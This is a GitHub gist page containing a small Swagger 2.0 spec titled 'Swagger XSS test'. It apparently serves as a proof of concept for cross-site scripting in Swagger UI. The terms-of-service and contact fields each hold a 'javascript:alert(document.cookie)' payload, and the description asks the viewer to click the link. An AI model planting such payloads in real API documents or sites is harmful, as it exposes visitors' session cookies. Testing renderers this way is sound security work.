Skip to content

Instantly share code, notes, and snippets.

@manuelbua
Created May 2, 2019 13:22
Show Gist options
  • Save manuelbua/9d41293d0f4e6f96ee10c86ed1f5cd83 to your computer and use it in GitHub Desktop.
Save manuelbua/9d41293d0f4e6f96ee10c86ed1f5cd83 to your computer and use it in GitHub Desktop.

Revisions

  1. manuelbua created this gist May 2, 2019.
    10 changes: 10 additions & 0 deletions swagger-xss.json
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,10 @@
    swagger: "2.0",
    info:
    title: "Swagger XSS test",
    description: "Please click the Terms of service"
    termsOfService: "javascript:alert(document.cookie)"
    contact:
    name: "API Support",
    url: "javascript:alert(document.cookie)",
    email: "javascript:alert(document.cookie)"
    version: "1.0.1"